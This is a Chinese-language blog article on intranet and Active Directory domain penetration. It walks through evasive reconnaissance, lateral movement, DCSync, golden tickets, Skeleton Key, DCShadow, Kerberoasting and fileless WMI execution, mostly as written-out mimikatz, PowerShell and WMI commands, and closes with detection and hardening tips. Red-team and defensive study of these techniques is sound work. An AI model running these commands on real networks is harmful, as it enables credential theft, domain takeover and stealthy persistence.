内网渗透与域渗透:从初始访问到域控沦陷的完整攻击链剖析
前言
在企业安全防护体系中,内网和域环境的安全一直是攻防对抗的核心战场。随着企业网络规模不断扩大和业务复杂度的提升,攻击者一旦突破边界防御,内网渗透和域渗透便成为获取核心资产和数据的关键手段。本文将从实战角度,深入剖析内网渗透与域渗透的完整攻击链,分享一些鲜为人知的技术细节和防御思路。
内网渗透基础
网络探测与信息收集
进入内网后的第一步就是对网络环境进行探测。除了常规的ipconfig /all
和arp -a
命令外,高级攻击者往往会使用更隐蔽的方式:
# 使用WMI进行网络配置查询,避免触发基于命令行监控的警报
wmic nicconfig get ipaddress,macaddress
# 通过DNS查询发现内网域控制器
nslookup -type=SRV _ldap._tcp.dc._msdcs
端口扫描在内网中需要特别谨慎,传统的nmap
扫描容易被检测。可以考虑使用低速率扫描或基于合法流量的端口识别技术:
# 基于socket的慢速端口扫描示例
import socket
import time
def slow_scan(target, ports):
for port in ports:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((target, port))
if result == 0:
print(f"Port {port}: Open")
sock.close()
time.sleep(5) # 添加延迟避免触发检测
except Exception as e:
print(f"Error scanning port {port}: {str(e)}")
横向移动技术
横向移动是内网渗透的核心环节,其中票据传递(Pass-the-Ticket)和哈希传递(Pass-the-Hash)是最常用的技术。
Kerberos票据利用:
# 使用mimikatz提取Kerberos票据
mimikatz # sekurlsa::tickets /export
# 注入票据到当前会话
mimikatz # kerberos::ptt [ticket_file]
WMI远程执行:
# 通过WMI在远程主机上执行命令
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "TARGET-PC" -Credential $cred
域渗透深入
域环境信息收集
在域环境中,信息收集的深度和广度直接决定后续攻击的成功率。
PowerView的进阶用法:
# 查找具有复制权限的用户
Get-NetUser -SPN | ?{$_.memberof -match "Domain Controllers"} | Select name,memberof
# 获取域信任关系
Get-NetDomainTrust -API
BloodHound数据分析:
BloodHound是域渗透中的"神器",但如何有效利用其数据需要技巧:
// 查找从当前用户到域管理员的最短路径
MATCH (u:User {name: "CURRENT_USER@DOMAIN.LOCAL"}), (d:Group {name: "DOMAIN ADMINS@DOMAIN.LOCAL"}), p = shortestPath((u)-[*1..]->(d)) RETURN p
权限提升与持久化
DCSync攻击:
DCSync是获取域控权限的重要手段,其本质是模拟域控制器进行数据同步。
# 使用mimikatz执行DCSync攻击
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
黄金票据生成:
# 获取KRBTGT账户的NTLM哈希后生成黄金票据
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:hash_value /ptt
域持久化技术
Skeleton Key攻击:
# 在域控制器上安装Skeleton Key
mimikatz # misc::skeleton
DCShadow攻击:
DCShadow允许攻击者注册一个恶意的域控制器,用于推送恶意更改:
# 设置DCShadow攻击
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:cn=admin,dc=domain,dc=local /attribute:primarygroupid /value:512
防御与检测
攻击检测技术
异常登录检测:
-- 检测异常Kerberos登录请求
SELECT * FROM SecurityEvents
WHERE EventID = 4768
AND TicketEncryptionType NOT IN (0x17, 0x18)
AND IPAddress NOT IN (SELECT IPAddress FROM WhitelistedIPs)
PowerShell日志分析:
# 启用详细的PowerShell日志记录
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
防御加固措施
privileged Access Management(PAM):
实施PAM解决方案,确保特权账户的使用受到严格控制和监控。
网络分段:
# 使用Windows防火墙进行网络分段
netsh advfirewall firewall add rule name="Block Lateral Movement" dir=in action=block protocol=TCP localport=135,139,445 remoteip=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
实战案例研究
案例一:从边缘节点到域控沦陷
某次红队行动中,我们通过一个易受攻击的Web应用获得初始立足点。通过细致的网络探测,发现内网中存在多个未打补丁的系统。
关键攻击步骤:
- 使用MS17-010漏洞在内网中横向移动
- 通过PowerShell远程加载恶意脚本绕过应用白名单
- 利用Kerberoasting攻击获取服务账户凭据
- 通过DCSync最终获取域管理员权限
# Kerberoasting攻击示例
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
案例二:绕过高级威胁防护
在一次有严格安全防护的环境中,我们采用了以下技术绕过检测:
代码执行绕过:
# 使用CLR加载执行C#代码
$assembly = [System.Reflection.Assembly]::Load([byte[]](0x4d,0x5a,...))
$type = $assembly.GetType("ClassLibrary1.Class1")
$method = $type.GetMethod("Execute")
$method.Invoke($null, $null)
无文件攻击:
# 使用WMI实现无文件持久化
wmic /node:target process call create "powershell -nop -exec bypass -enc BASE64_ENCODED_SCRIPT"
未来趋势与思考
随着云原生和零信任架构的普及,传统的域渗透技术面临新的挑战和机遇。攻击者开始更多地利用:
- 云身份联邦攻击:通过攻陷本地AD进而影响云环境
- 容器逃逸:从容器环境突破到宿主机节点
- API滥用:利用云服务API进行横向移动
防御方也需要相应调整策略,加强身份治理、实施微隔离、部署基于行为的检测机制。
结语
内网渗透与域渗透是一个深度和广度都极大的技术领域,本文仅触及了冰山一角。真正掌握这些技术需要大量的实践和不断的学习。重要的是要记住,技术本身是中立的,如何运用这些技术取决于使用者的意图。作为安全从业者,我们的责任是理解攻击技术以便更好地防御它们。
希望本文能为读者提供一个深入理解内网和域渗透技术的窗口,并在实际的安全工作中发挥作用。安全之路漫长而充满挑战,唯有持续学习才能跟上技术发展的步伐。
> 评论区域 (0 条)_
发表评论